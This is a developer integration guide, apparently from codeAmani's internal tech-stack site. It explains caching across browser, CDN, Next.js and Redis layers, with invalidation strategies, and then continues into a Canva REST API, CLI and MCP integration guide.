 ╚═════╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝ ╚═════╝

Caching Integration Guide

Focus: a cache is a faster copy of a slower truth. The whole game is deciding how long the copy is allowed to lie and how you tell it to stop lying. This guide walks the layers a codeAmani request passes through (browser, CDN/edge, Next.js, application cache, origin) and treats invalidation as the part that's actually hard.

Overview

Every cache is the same trade: serve a stored copy instead of recomputing, accepting that the copy may be stale. For codeAmani's US-first products that trade buys lower latency, lower function and database bills, and protection from traffic spikes. On Kenya-targeted projects, where users are on 2G/3G, it is also the difference between a page that paints from a nearby edge node and one that waits on a round trip to a US origin.

There is no single cache. A request flows through a stack of them, each with its own TTL, its own key, and its own invalidation story:

flowchart LR
    A["Browser<br/>Cache-Control · Cache API"] --> B["CDN / Edge<br/>Vercel CDN · Cloudflare · Workers Cache<br/>s-maxage · SWR · cache tags"]
    B --> C["Framework<br/>Next.js use cache · ISR<br/>cacheTag · revalidateTag"]
    C --> D["App / runtime cache<br/>Upstash Redis · Vercel Runtime Cache · Workers KV"]
    D --> E["Origin<br/>Postgres · Stripe · LLM APIs"]
    style A fill:#1e3a5f,stroke:#3B82F6,color:#fff
    style B fill:#1e3a5f,stroke:#3B82F6,color:#fff
    style C fill:#1e3a5f,stroke:#3B82F6,color:#fff
    style D fill:#1e3a5f,stroke:#3B82F6,color:#fff
    style E fill:#2a2a2a,stroke:#888,color:#fff

The closer to the user a layer sits, the cheaper and faster the hit, and the harder it is to reach in and invalidate. You cannot purge a browser cache at all (only let it expire); you can DEL a Redis key in a millisecond. Design accordingly: put volatile data in layers you control, stable data in layers near the user.

Phil Karlton: "There are only two hard things in computer science: cache invalidation and naming things." The operational corollary: a cache hit is a guess that the world hasn't changed. Every section below is about making that guess safely.

Official Documentation

Source URL What it covers
MDN HTTP caching https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Caching Cache-Control directives, ETag/If-None-Match, 304 flow
Next.js Caching (Cache Components) https://nextjs.org/docs/app/getting-started/caching cacheComponents, partialPrefetching, use cache, where entries are stored
Next.js use cache https://nextjs.org/docs/app/api-reference/directives/use-cache Cache keys, serialization, runtime caching on serverless vs self-hosted
Next.js previous model https://nextjs.org/docs/app/guides/caching-without-cache-components fetch caching, revalidateTag/revalidatePath, unstable_cache
Vercel caching overview https://vercel.com/docs/caching CDN, ISR, Runtime and Image caches; request collapsing
Vercel CDN cache https://vercel.com/docs/caching/cdn-cache Targeted headers, Vary rules, cacheable criteria, limits
Vercel CDN purge https://vercel.com/docs/caching/cdn-cache/purge Vercel-Cache-Tag, invalidate vs delete, purge rate limits
Vercel Runtime Cache https://vercel.com/docs/caching/runtime-cache getCache(), use cache: remote, limits, pricing
Cloudflare cache control https://developers.cloudflare.com/cache/concepts/cache-control/ Origin Cache Control, SWR, stale-if-error, CF-Cache-Status
Cloudflare Workers Cache https://developers.cloudflare.com/workers/cache/ Cache in front of a Worker, ctx.cache.purge()/invalidate()
Upstash Redis (TS) https://upstash.com/docs/redis/sdks/ts/getstarted REST client, set with { ex, nx }, Redis.fromEnv()

Versions and prices verified 2026-10-20

Item Value Source
next 16.4.2 (latest) npm view next version
@upstash/redis 1.39.0 npm view @upstash/redis version
@vercel/functions 3.10.1 npm view @vercel/functions version
@vercel/global-config 1.5.1 npm view @vercel/global-config version
@cloudflare/workers-types 5.20261019.1 npm view @cloudflare/workers-types version
Vercel Runtime Cache $0.40 per 1M reads, $4.00 per 1M writes in iad1 (regional range $0.40–$0.64 / $4.00–$6.40) vercel.com/docs/pricing/regional-pricing
Upstash Redis Free: 250 MB + 500K commands/month. Pay as you go: $0.20 per 100K commands. Fixed plans from $10/month upstash.com/pricing/redis
Workers KV (Paid) 10M reads/month then $0.50/M; 1M writes/month then $5.00/M; 1 GB then $0.50/GB-month developers.cloudflare.com/kv/platform/pricing

Layer 1 — HTTP caching (Cache-Control, ETag, SWR)

The HTTP cache is the foundation every other layer builds on. It is driven entirely by response headers: no library, no SDK. Get these right and the browser, the CDN and any proxy cooperate for free.

The directives that matter

Directive Meaning Use for
max-age=N Fresh for N seconds in any cache (incl. browser) Data the browser may keep
s-maxage=N Fresh for N seconds in shared caches (CDN); overrides max-age there CDN TTL distinct from browser (see the Cloudflare caveat below)
stale-while-revalidate=N Serve stale up to N s while refreshing in background Anything where instant beats perfectly fresh
stale-if-error=N Serve stale up to N s if the origin returns 5xx Riding out origin outages (Vercel and Cloudflare both honor it)
no-cache Store, but revalidate every time before reuse HTML that changes but supports ETag
no-store Never store anywhere Auth tokens, webhook callbacks, PII
private Browser only, never a shared cache Personalised responses
public Cacheable even with Authorization Shared, non-sensitive assets
immutable Content will never change; skip revalidation Hashed/fingerprinted static assets

The two patterns you'll write most:

# Fingerprinted asset (app-abc123.js): cache forever, it can never change
Cache-Control: public, max-age=31536000, immutable

# Dynamic JSON on Vercel: browser 10 s, CDN 60 s, then stale for 5 min while refreshing
Cache-Control: public, max-age=10, s-maxage=60, stale-while-revalidate=300

stale-while-revalidate: the default for dynamic data

SWR decouples latency from freshness: the user gets an instant response from cache, and the cache refreshes itself out of band. The cost of a slow origin is paid by a background fetch, never by a user staring at a spinner. On Kenya-targeted projects on 2G/3G this is the single most valuable directive.

sequenceDiagram
    participant U as User
    participant C as Cache (edge)
    participant O as Origin
    Note over C: max-age=60, stale-while-revalidate=300
    U->>C: GET /prices  (t=0, fresh)
    C-->>U: 200 cached · instant
    U->>C: GET /prices  (t=90s, STALE but in SWR window)
    C-->>U: 200 STALE · instant (no wait!)
    C->>O: background revalidate
    O-->>C: fresh copy stored
    U->>C: GET /prices  (t=120s)
    C-->>U: 200 fresh · instant

ETag / If-None-Match: cheap revalidation

When content must be revalidated (no-cache, or an expired max-age), an ETag turns a full re-download into a tiny 304 Not Modified. The server hashes the body into an ETag; the browser echoes it back as If-None-Match; if unchanged, the server replies 304 with no body. Cloudflare's soft purge (invalidate_cache, below) also relies on your origin answering conditional requests.

// app/api/profile/route.ts
import { createHash } from "node:crypto";

export async function GET(req: Request): Promise<Response> {
  const profile = await getProfile();
  const body = JSON.stringify(profile);
  const etag = `"${createHash("sha256").update(body).digest("base64url").slice(0, 16)}"`;
  if (req.headers.get("if-none-match") === etag) {
    return new Response(null, { status: 304, headers: { ETag: etag } });
  }
  return new Response(body, {
    headers: { "Content-Type": "application/json", ETag: etag, "Cache-Control": "private, no-cache" },
  });
}

Never cache secrets. Auth tokens, payment credentials, webhook callbacks and PII responses get Cache-Control: no-store. Vercel's CDN already refuses to cache a request carrying Authorization or a response with Set-Cookie, but be explicit and don't rely on the platform to save you.


Layer 2 — CDN / edge caching (Vercel + Cloudflare)

The CDN is a shared cache in dozens of cities. It keys on the URL (plus any Vary headers) and obeys s-maxage or the targeted CDN-Cache-Control headers. This is where a single origin render gets amortised across thousands of visitors.

Vercel CDN

Vercel caches a function/SSR response when its cache header contains s-maxage=N, optionally with stale-while-revalidate=Z and stale-if-error=Z (now supported). It also honours targeted headers, so you can give Vercel, downstream CDNs and the browser different TTLs in one response:

// app/api/catalog/route.ts: browser 10s, downstream CDNs 60s, Vercel 1h
export async function GET(): Promise<Response> {
  return Response.json(await getCatalog(), {
    headers: {
      "Cache-Control": "public, max-age=10",
      "CDN-Cache-Control": "public, s-maxage=60",
      "Vercel-CDN-Cache-Control": "public, s-maxage=3600, stale-while-revalidate=86400, stale-if-error=86400",
    },
  });
}

Vercel cache tags and purging

Tag a response with the Vercel-Cache-Tag header (comma-separated), addCacheTag() from @vercel/functions, or Next.js cacheTag(). Purging a tag purges the CDN cache, Runtime Cache and Data Cache together. Two purge styles:

Invalidate (serve stale, refresh in background) Delete (regenerate in foreground)
@vercel/functions invalidateByTag(tag) dangerouslyDeleteByTag(tag, { revalidationDeadlineSeconds })
next/cache (Next.js 16) revalidateTag(tag, "max") updateTag(tag), revalidatePath(path), deprecated revalidateTag(tag)
CLI vercel cache invalidate --tag vercel cache dangerously-delete --tag
REST /invalidate-by-tag /dangerously-delete-by-tag

Limits: 256 UTF-8 bytes per tag, 128 tags per response, no commas, 16 tags per bulk REST call. Function-side purge calls are rate-limited at 50/s per team (Hobby), 200/s per team (Pro), 500/s per project (Enterprise), averaged over 30 s; over the limit you get 429 with retry-after and nothing is purged. A full example is in examples/vercel-cdn-and-runtime-cache.ts.

Cloudflare

Cloudflare honours origin Cache-Control (Origin Cache Control is on by default), and stale-while-revalidate is fully asynchronous: the first request after expiry gets the stale copy with CF-Cache-Status: UPDATING while the refresh runs. Status values: HIT, MISS, EXPIRED, STALE, UPDATING, REVALIDATED, BYPASS, DYNAMIC, NONE/UNKNOWN.

Cloudflare gotcha: s-maxage turns SWR off. Per RFC 9111, s-maxage implies proxy-revalidate, so with it present Cloudflare will not serve stale content and you get EXPIRED instead of UPDATING. The same goes for must-revalidate, proxy-revalidate and no-cache. For SWR with a separate edge TTL, send max-age + stale-while-revalidate and set the edge TTL with a Cache Rule, or put the edge policy in Cloudflare-CDN-Cache-Control (Cloudflare only, not forwarded) or CDN-Cache-Control (forwarded to downstream CDNs).

Cache-Control: public, max-age=60
Cloudflare-CDN-Cache-Control: max-age=86400, stale-while-revalidate=3600, stale-if-error=86400
Cache-Tag: catalog,prices,vendor-42

Purge by Cache-Tag is now available on every plan (Free, Pro, Business, Enterprise). Free accounts are limited to 5 tag/host/prefix purge requests per minute (bucket 25); Pro 5/s; Business 10/s; Enterprise 50/s; up to 100 tags per request. Tags are case-insensitive, printable ASCII, no spaces, total header ≤16 KB. There are now two endpoints with the same request body:

# Hard purge: content removed, next request is a MISS
curl -X POST "https://api.cloudflare.com/client/v4/zones/$CLOUDFLARE_ZONE_ID/purge_cache" \
  -H "Authorization: Bearer $CLOUDFLARE_API_TOKEN" -H "Content-Type: application/json" \
  --data '{"tags":["prices"]}'

# Soft purge (invalidate): content kept, marked stale, revalidated with ETag/Last-Modified
curl -X POST "https://api.cloudflare.com/client/v4/zones/$CLOUDFLARE_ZONE_ID/invalidate_cache" \
  -H "Authorization: Bearer $CLOUDFLARE_API_TOKEN" -H "Content-Type: application/json" \
  --data '{"tags":["prices"]}'

Workers Cache (new) vs the Cache API

See examples/cloudflare-worker-cache.ts.


Layer 3 — Next.js caching (two models)

As of Next.js 16 (latest 16.4.2) there are two ways to drive the framework caches, and which one you're in changes the API you reach for:

// next.config.ts
import type { NextConfig } from "next";

const nextConfig: NextConfig = {
  cacheComponents: true,
  partialPrefetching: true,
  cacheLife: {
    // custom profile, usable as cacheLife("catalog")
    catalog: { stale: 300, revalidate: 900, expire: 86_400 },
  },
};

export default nextConfig;

"use cache" and cacheLife

Put "use cache" at the top of an async function, component or file. Arguments and captured closure values form the cache key, so there is no manual key array. Always pair it with cacheLife(); without one the implicit default profile applies.

import { cacheLife, cacheTag } from "next/cache";

export async function getVendors(): Promise<Vendor[]> {
  "use cache";
  cacheTag("vendors");   // up to 128 tags per call, 256 chars each
  cacheLife("hours");
  return db.listVendors();
}
Profile stale (client) revalidate (background refresh) expire (hard limit)
default 5 min 15 min never
seconds 30 s 1 s 1 min
minutes 5 min 1 min 1 h
hours 5 min 1 h 1 day
days 5 min 1 day 1 week
weeks 5 min 1 week 30 days
max 5 min 30 days 1 year

Inline form: cacheLife({ stale, revalidate, expire }); expire must exceed revalidate. You can redefine any built-in (including default) or add custom names in next.config.ts.

Where "use cache" entries actually live

This is the part that surprises people:

Directive Store Notes
"use cache" Prerendered static shell + per-instance in-memory LRU at runtime On serverless, runtime entries usually don't survive between requests. Self-hosted: persistent, sized by cacheMaxMemorySize
"use cache: remote" A shared cache handler (cacheHandlers); Vercel Runtime Cache on Vercel Durable across instances; costs a network round trip, so only worth it at a high hit rate (rate-limited APIs, slow backends)
"use cache: private" Browser only May read cookies()/headers()/searchParams directly; for compliance cases or code you can't refactor

None of them survive a deploy: the build id is part of the cache key. For non-fetch data that must persist across deploys, the use cache docs still point to unstable_cache or the fetch cache.

Inside "use cache" you cannot call cookies()/headers()/searchParams. Read them outside and pass the value in as an argument. draftMode().isEnabled is allowed; in Draft Mode cached functions re-run on every request.

Previous model: fetch + unstable_cache

fetch is not cached by default (since Next.js 15). Opt in:

// Time-based, regenerate at most once per hour
const data = await fetch("https://api.example.com/catalog", { next: { revalidate: 3600 } });

// Tag for on-demand invalidation, with a 24 h backstop
const vendors = await fetch("https://api.example.com/vendors", { next: { tags: ["vendors"], revalidate: 86_400 } });

// Cache until invalidated (Vercel Data Cache)
const stable = await fetch("https://api.example.com/config", { cache: "force-cache" });

unstable_cache is replaced by "use cache" in Next.js 16 (its docs page says so). It still ships and works; use "use cache" for new code, and keep unstable_cache only where an entry must outlive a deploy.

Request memoization

Within one render, identical fetch() calls hit the network once. For non-fetch access (an ORM, the Supabase client) wrap it in React's cache(). Note that React.cache is isolated inside "use cache" boundaries: values memoized outside are not visible inside.

import { cache } from "react";
export const getVendor = cache(async (id: string) => db.vendorById(id));

Tag-based, on-demand invalidation

Time-based revalidation is a guess at how often data changes. Tag-based invalidation is precise: tag the data when you read it, then invalidate that tag when you write.

"use server";
import { revalidatePath, revalidateTag, updateTag } from "next/cache";

// Read-your-own-writes: the caller sees fresh data on the next request (Server Actions only)
export async function addVendor(form: FormData): Promise<void> {
  await db.createVendor(form);
  updateTag("vendors");
  revalidatePath("/vendors");
}

// Background SWR: mark stale, refresh on next visit (Server Actions AND Route Handlers)
export async function onVendorWebhook(): Promise<void> {
  revalidateTag("vendors", "max");
}

Which layers does it reach? On Vercel, cacheTag also tags the CDN entry, and revalidateTag/updateTag/revalidatePath purge the CDN, Runtime Cache and Data Cache together. They do not expire entries you wrote yourself with getCache().set() (use expireTag). On Cloudflare or self-hosted, they only touch Next's own caches, so purge the CDN separately (Cache-Tag + purge_cache/invalidate_cache).


Layer 4 — Application and runtime caches

When the thing you're caching isn't an HTTP response (a computed result, a DB aggregate, a short-lived token, an idempotency key) you reach for an application cache. Pick by where the code runs and how durable the entry must be:

Store Best for Durability Watch out for
Upstash Redis (codeAmani default) Cache-aside, idempotency keys, locks, rate limits; any host Durable until TTL Every op is a billed command; REST round trip
Vercel Runtime Cache Read-through cache inside Vercel Functions Regional, LRU-evicted, survives deploys, split preview/prod 2 MB/item; Hobby projects share one cache; not for data that must stay its full TTL
Workers KV Read-heavy config/catalog data at Cloudflare's edge Durable Eventually consistent (60 s+ across locations); 1 write/s per key
Vercel Global Config (formerly Edge Config) Feature flags, redirects, IP blocklists read on every request Durable, replicated with your functions A config store, not a cache: 1 MB per store, 100 writes/hour on Pro

Upstash Redis (cache-aside)

@upstash/redis is REST-based, so it works from Vercel Functions, Edge and Cloudflare Workers (import { Redis } from "@upstash/redis/cloudflare") with no connection pool.

// lib/cache.ts
import { Redis } from "@upstash/redis";

export const redis = Redis.fromEnv(); // UPSTASH_REDIS_REST_URL + UPSTASH_REDIS_REST_TOKEN

/** Cache-aside: try cache, fall back to origin, backfill with a TTL. */
export async function cached<T>(key: string, ttlSec: number, fetcher: () => Promise<T>): Promise<T> {
  const hit = await redis.get<T>(key);
  if (hit !== null) return hit; // HIT

  const fresh = await fetcher(); // MISS: compute
  await redis.set(key, fresh, { ex: ttlSec }); // backfill with TTL
  return fresh;
}

The TTL on set(..., { ex }) is your safety net: even if you forget to invalidate, the key self-destructs. Always set a TTL. examples/cache-aside.ts adds a single-flight lock against stampedes and a firstSeen() idempotency helper.

Webhook idempotency with SET NX

Payment webhooks get retried. After verifying the signature, record the event ID with NX so a duplicate delivery is a no-op:

// Stripe (default payments): dedupe on event.id after stripe.webhooks.constructEvent()
const first = await redis.set(`stripe:evt:${event.id}`, "1", { nx: true, ex: 86_400 });
if (first === null) return new Response(null, { status: 200 }); // already processed

Kenya-targeted projects use the same pattern for M-Pesa: store the CheckoutRequestID as soon as STK Push responds and dedupe callbacks with SET mpesa:cri:<id> 1 NX EX 86400; cache the Daraja OAuth token for ~50 minutes so it refreshes before its 1-hour expiry.

Vercel Runtime Cache

import { getCache } from "@vercel/functions";

const cache = getCache({ namespace: "products" });
const hit = await cache.get(id);                       // null on miss or expiry
await cache.set(id, product, { ttl: 3600, tags: [`product-${id}`] });
await cache.expireTag(`product-${id}`);                 // global within ~300 ms

In Next.js 16 the same store backs "use cache: remote". Watch reads, writes and hit rate under Observability > Runtime Cache.


Cache invalidation — the actual hard problem

Invalidation is where systems rot. The core tension: the longer the TTL, the better the hit rate, and the longer wrong data is served. There is no universally correct TTL, only a deliberate choice per data type.

Time-based (TTL) Tag/event-based
Idea Expire after N seconds, hope that's often enough Invalidate the instant the data actually changes
Staleness Up to the full TTL Near-zero
Best for Data that drifts predictably (exchange rates, leaderboards) Data with a clear write event (a vendor edits a price)
Cost Wasted refreshes / stale windows Must wire every writer to invalidate
Tools CDN s-maxage, cacheLife, next.revalidate, Redis ex updateTag/revalidateTag(tag,"max"), Vercel-Cache-Tag + invalidateByTag, Cloudflare Cache-Tag + purge/invalidate, Redis DEL

The mature pattern combines them: a long TTL as a backstop plus tag invalidation for correctness. Tags handle the known changes; the TTL guarantees nothing is stale forever if an invalidation is missed (and one always eventually is).

Practical rules


Debugging: which layer is lying?

A stale page is almost always one layer holding an old copy. Walk the stack from the user inward:

Symptom Check Header / signal
Browser shows old page DevTools → Network → Disable cache Cache-Control, Age
Edge serving stale Response header x-vercel-cache (HIT/STALE/REVALIDATED) · CF-Cache-Status (HIT/UPDATING/EXPIRED)
Vercel never caches a route Runtime logs cache reason Vary: Cookie, Set-Cookie, private, Authorization
Cloudflare SWR not kicking in CF-Cache-Status: EXPIRED instead of UPDATING s-maxage or must-revalidate in the header
Next.js route won't update Did the mutation call updateTag/revalidateTag? Is the tag spelled identically (case-sensitive, ≤256 chars)? NEXT_PRIVATE_DEBUG_CACHE=1 verbose logging
use cache hit rate is near zero on Vercel Per-instance memory on serverless Switch hot paths to use cache: remote
Redis returns old value redis.ttl(key): is it expiring? Did the writer DEL? TTL value

A HIT anywhere means you're being served a cached copy: that's the layer to invalidate, not the origin.


Environment

Secrets (store in the vault, .env.local locally, Vercel/Cloudflare env in production):

UPSTASH_REDIS_REST_URL=https://your-db.upstash.io
UPSTASH_REDIS_REST_TOKEN=AX...
CLOUDFLARE_API_TOKEN=cf-token-with-cache-purge-permission
GLOBAL_CONFIG=https://global-config.vercel.com/ecfg_...?token=...

Non-secret settings:

Variable Example Purpose
CLOUDFLARE_ZONE_ID 023e105f4ecef8ad9ca31a8372d0c353 Zone for purge_cache / invalidate_cache
NEXT_PRIVATE_DEBUG_CACHE 1 Verbose Next.js cache logging while debugging

GLOBAL_CONFIG is created automatically when you connect a Global Config store to a Vercel project. The new SDK falls back to the legacy EDGE_CONFIG variable, but @vercel/edge-config cannot read stores connected after the rename. Workers on Cloudflare get the Upstash values via wrangler secret put.


codeAmani notes

Official docs:

Canva Integration Guide

Technology: canva · Category: design · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/canva

Insight:

Canva's REST APIs (the renamed Connect API) mass-produce on-brand graphics — design a Brand Template once, then autofill it from data. Since 2026-09-21 autofill works for Canva Pro and Teams users too, not just Enterprise, so it fits small-business products. The client secret and per-user tokens stay server-side, and refresh tokens are single-use.

 ██████╗ █████╗ ███╗   ██╗██╗   ██╗ █████╗
██╔════╝██╔══██╗████╗  ██║██║   ██║██╔══██╗
██║     ███████║██╔██╗ ██║██║   ██║███████║
██║     ██╔══██║██║╚██╗██║╚██╗ ██╔╝██╔══██║
╚██████╗██║  ██║██║ ╚████║ ╚████╔╝ ██║  ██║
 ╚═════╝╚═╝  ╚═╝╚═╝  ╚═══╝  ╚═══╝  ╚═╝  ╚═╝

Canva Integration Guide

Focus: Programmatic design with the Canva REST APIs (OAuth 2.0 + PKCE): create designs, autofill brand templates, upload assets, export to PNG/PDF/MP4. Also covers the Canva MCP server (Canva tools for AI assistants, including Claude Code), the Canva CLI, and the Apps SDK for apps that run inside the Canva editor.

Overview

Canva now calls its platform the Canva Developers SDK. It has three surfaces, and all of them are documented under canva.dev/docs/apps/. The old /docs/connect/ URLs 301-redirect there.

Surface What it is When codeAmani uses it
Canva for your platform (REST APIs, formerly "Connect API") REST at https://api.canva.com/rest/v1/, per-user OAuth Default. Server-side autofill, export, and asset sync
Canva for AI assistants (Canva MCP server) Remote MCP server exposing Canva as tools Ad-hoc design work from Claude; embedding Canva in our own AI products
Apps inside Canva (Apps SDK) JS app in an iframe in the Canva editor, built with @canva/* packages Only if we ship a Canva Marketplace or team app

No first-party npm client exists for the REST APIs. You have three options:

flowchart LR
  A["codeAmani server"] -->|"Bearer token (per user)"| B["REST APIs<br/>api.canva.com/rest/v1"]
  B --> C["Autofill<br/>brand template or design"]
  B --> D["Asset uploads"]
  B --> E["Export job<br/>PNG/PDF/MP4/PPTX"]
  E --> F["Download URLs<br/>expire in 24h -> copy to R2"]
  G["Claude / AI assistant"] -->|"OAuth per user"| H["Canva MCP server"]
  H --> B

Official Documentation

Resource URL
REST APIs overview https://www.canva.dev/docs/apps/rest-apis/
Quickstart (all three surfaces) https://www.canva.dev/docs/apps/quickstart/
Authentication (OAuth + PKCE) https://www.canva.dev/docs/apps/rest-apis/authentication/
Scopes https://www.canva.dev/docs/apps/rest-apis/scopes/
Capabilities (plan gating) https://www.canva.dev/docs/apps/rest-apis/capabilities/
Autofill guide https://www.canva.dev/docs/apps/rest-apis/autofill-guide/
API reference index https://www.canva.dev/docs/apps/rest-apis/reference/
Changelog https://www.canva.dev/docs/apps/rest-apis/changelog/
Webhooks https://www.canva.dev/docs/apps/rest-apis/webhooks/
OpenAPI spec (YAML) https://www.canva.dev/sources/connect/api/latest/api.yml
Canva MCP https://www.canva.dev/docs/apps/mcp/
MCP tools + rate limits https://www.canva.dev/docs/apps/mcp/tools/
Dev MCP server (docs helper) https://www.canva.dev/docs/apps/dev-mcp-server/
Canva CLI https://www.canva.dev/docs/apps/canva-cli/
Apps SDK (apps inside Canva) https://www.canva.dev/docs/apps/apps-inside-canva/
Developer Portal https://www.canva.com/developers/apps

1. Set up the app and credentials

  1. In the Developer Portal, create an app. Under Outside Canva → Configuration → Integration methods, turn on Canva REST APIs, Canva MCP, or both. Copy the client ID and generate a client secret.
  2. Select the scopes and add at least one redirect URL. Only scopes enabled here can be requested at runtime.

Only the client secret is a secret. Put it in the vault, or in .env.local for local development:

CANVA_CLIENT_SECRET=cnvca_...
Setting Value Notes
CANVA_CLIENT_ID from the Developer Portal Identifies the app; not a secret, but keep it server-side with the secret
CANVA_REDIRECT_URI https://<app>/api/canva/callback Must exactly match a URL registered in the Portal
REST base URL https://api.canva.com/rest
OAuth token host https://api.canva.com/auth Spec's primary server; /rest is listed as deprecated

Each user's access and refresh tokens belong in your database, encrypted, keyed by user. They do not go in environment variables.

2. Authentication (OAuth 2.0 Authorization Code + PKCE)

  1. Generate a code_verifier (43–128 chars) and code_challenge = base64url(sha256(verifier)). Generate a random state as well. Store both server-side.
  2. Redirect the user to https://www.canva.com/api/oauth/authorize?code_challenge=…&code_challenge_method=s256&scope=…&response_type=code&client_id=…&state=…&redirect_uri=….
  3. On the callback, check state, then POST /v1/oauth/token with grant_type=authorization_code, code, and code_verifier. Authenticate with HTTP Basic (base64(client_id:client_secret)), which Canva recommends.
  4. Call the APIs with Authorization: Bearer <access_token>.

Rules that cause production bugs:

Common scopes:

Scope Grants
design:meta:read List or get designs; poll autofill jobs
design:content:read Read design content; export; read design datasets
design:content:write Create designs, autofill, imports, resizes (with read)
asset:read / asset:write Read / upload, update, or delete assets
brandtemplate:meta:read List or get brand templates
brandtemplate:content:read Read a brand template's dataset (autofill fields)
brandtemplate:content:write Publish a design as a brand template (preview)
folder:read / folder:write / folder:permission:write Folders
comment:read / comment:write Comments (preview APIs)
profile:read User profile and capabilities
collaboration:event Receive webhooks

3. Plans and capabilities (check before calling)

Some APIs are tied to the user's Canva plan. They declare an x-required-capabilities value in the spec. If the user lacks the capability, the call fails with 403. Call GET /v1/users/me/capabilities (scope profile:read, 10 req/min) first and hide UI the user can't use.

Capability values: autofill, brand_template, resize, design_generation, background_removal, export_png_transparency, image_to_design_imports, analytics, team_restricted_app.

Feature Who can use it (per canva.dev, 2026-10-20)
Autofill (designs + brand templates) Canva Pro (incl. Education, Nonprofits), Teams, Enterprise. Opened beyond Enterprise on 2026-09-21; "usage limits will be introduced in the future"
Brand templates (list, get, dataset) Plans with brand templates: Pro, Teams, Enterprise
Resize resize capability (Pro and above; Free gets a limited trial via MCP)
Export export_quality: "pro", transparent PNG Pro and above. Premium elements without a licence give license_required
Free-plan PNG export Can't upscale a fixed-size design by more than 1.125×
Design analytics (preview) analytics capability
Design/image generation, background removal (preview) Uses the user's Canva AI credits

Canva's Help Center contradicts itself on autofill plans. One page says Enterprise only; another says every plan except Free and Pro Lite. Trust the capability check, not a plan name. See NOTES.md.

4. Brand template autofill (the high-leverage feature)

A designer builds a template with named data fields. Your server then fills those fields from data, at scale.

sequenceDiagram
  participant S as "codeAmani server"
  participant API as "Canva REST APIs"
  S->>API: "GET /v1/brand-templates/{id}/dataset"
  API-->>S: "field names + types"
  S->>API: "POST /v1/autofills - type + data"
  API-->>S: "job.id, status in_progress"
  loop "exponential backoff"
    S->>API: "GET /v1/autofills/{jobId}"
    API-->>S: "status success + result.design"
  end
  S->>S: "export, or send the user to urls.edit_url"

POST /v1/autofills accepts three type modes. All of them are GA as of 2026-08-25:

type Source Result
create_from_brand_template (default if type is omitted) brand_template_id New design in the user's root folder
create_from_design design_id of a design with data fields New design
update_design design_id Fills the same design in place

Data value types: text (text), image (asset_id), video (asset_id, placed into an image field), chart (chart_data, max 100 rows × 20 columns, optional column_configs), and sheet (sheet_data). Number cells with formatting metadata and media cells are rejected for chart and sheet.

curl -X POST 'https://api.canva.com/rest/v1/autofills' \
  -H "Authorization: Bearer $CANVA_ACCESS_TOKEN" -H "Content-Type: application/json" \
  -d '{"type":"create_from_brand_template","brand_template_id":"DAFVztcvd9z",
       "title":"Fall promo - October",
       "data":{
         "headline":{"type":"text","text":"20% off this week"},
         "hero":{"type":"image","asset_id":"Msd59349ff"}
       }}'
# -> { "job": { "id": "...", "status": "in_progress" } }

Gotchas:

5. Export a design (async job)

curl -X POST 'https://api.canva.com/rest/v1/exports' \
  -H "Authorization: Bearer $CANVA_ACCESS_TOKEN" -H "Content-Type: application/json" \
  -d '{"design_id":"DAVZr1z5464","format":{"type":"png","export_quality":"regular"}}'
# poll GET /v1/exports/{exportId} until status == success -> job.urls[]

6. Upload an asset

# Binary (GA): name goes base64-encoded in a header
curl -X POST 'https://api.canva.com/rest/v1/asset-uploads' \
  -H "Authorization: Bearer $CANVA_ACCESS_TOKEN" -H "Content-Type: application/octet-stream" \
  -H 'Asset-Upload-Metadata: {"name_base64":"aGVyby5wbmc="}' --data-binary '@hero.png'

# From a public URL (PREVIEW API; videos limited to 100 MB)
curl -X POST 'https://api.canva.com/rest/v1/url-asset-uploads' \
  -H "Authorization: Bearer $CANVA_ACCESS_TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"hero","url":"https://cdn.example.com/hero.png"}'

Poll GET /v1/asset-uploads/{jobId} or GET /v1/url-asset-uploads/{jobId}. On success the response contains job.asset.id. URL uploads are a preview API. Public apps that use preview APIs fail Canva's review, so production code should use the binary upload.

7. Canva CLI (@canva/cli)

npm i -g @canva/cli. The package declares node >=22; the docs ask for Node v24 and npm v11. canva login stores an encrypted token locally, and canva logout revokes it.

Command Purpose
canva apps create "Name" --template=hello_world --distribution=public --git --installDependencies Scaffold an Apps SDK app
canva apps start / build / upload / doctor / migrate Dev server, production build, upload a bundle, health check, migrate to @canva/app-scripts
canva api designs list | jq '.data.items[].id' New: call the REST APIs with your CLI login. Output is one JSON object {ok,data,next,meta}, which suits agents
canva api describe exports create Show an operation's scopes, capabilities, rate limit, and flags
canva api post /v1/designs --body @body.json Raw request to any REST path
canva profile switch work / --profile / CANVA_CLI_PROFILE Multiple stored logins
canva mcp Start the Dev MCP server (docs and SDK help, not design access)

If you logged in with a CLI version older than the api command, run canva login again so the stored token carries the REST scopes.

8. Canva MCP server (Canva for AI assistants)

Canva runs a remote MCP server that exposes design generation, editing transactions, search, autofill, export, resize, comments, folders, and image tools. Every user authenticates individually. There is no org-wide service account, and tools only see what that user can see in Canva.

Use case Endpoint and setup
codeAmani devs in Claude Code / claude.ai The claude.ai Canva connector is already wired in. Tools appear as mcp__claude_ai_Canva__* (generate-design, autofill-design, export-design, resize-design, …). The Canva plugin skills (canva:*) build on them
Embedding Canva in our own AI product Register an app, turn on Canva MCP, and use client ID and secret against https://api.canva.com/connect/v1/mcp (streamable HTTP; per-user OAuth). If the client has no remote-MCP support, use the mcp-remote stdio bridge
Public "Canva AI Connector" https://mcp.canva.com/mcp (OAuth with dynamic registration; consumer assistants use it). canva.dev doesn't document this URL; it was verified live via its OAuth metadata
Writing Apps SDK code with AI claude mcp add canva-dev -- npx -y @canva/cli@latest mcp (local stdio Dev MCP server)

MCP limits and plans (from /docs/apps/mcp/tools/):

9. Webhooks and return navigation

10. Other REST APIs worth knowing

API Status Notes
Designs: create (preset/custom), list, get, pages, export-formats, dataset GA. Create-by-copy (type: design) and create-from-brand-template are preview Custom designs: each side 40–8000 px, max 25M px². Blank designs are auto-deleted if left unedited
Resizes (POST /v1/resizes) GA, needs the resize capability 20/min
Design imports (file, URL) GA Import PDF/PPTX and similar files as editable designs
Folders GA list items can include brand_template items
Comments, image-to-design imports, merges, design generations (2026-09-29), image generations (2026-10-01), image transformations (background removal), analytics, publish brand template Preview Generation and transformation consume Canva AI credits. Don't ship preview APIs in public apps

Rate limits (REST, requests/min/client-user, from the OpenAPI spec)

Over the limit returns 429 with error code too_many_requests. Back off exponentially and honour Retry-After.

Operation Limit
Create design / resize / import / export 20
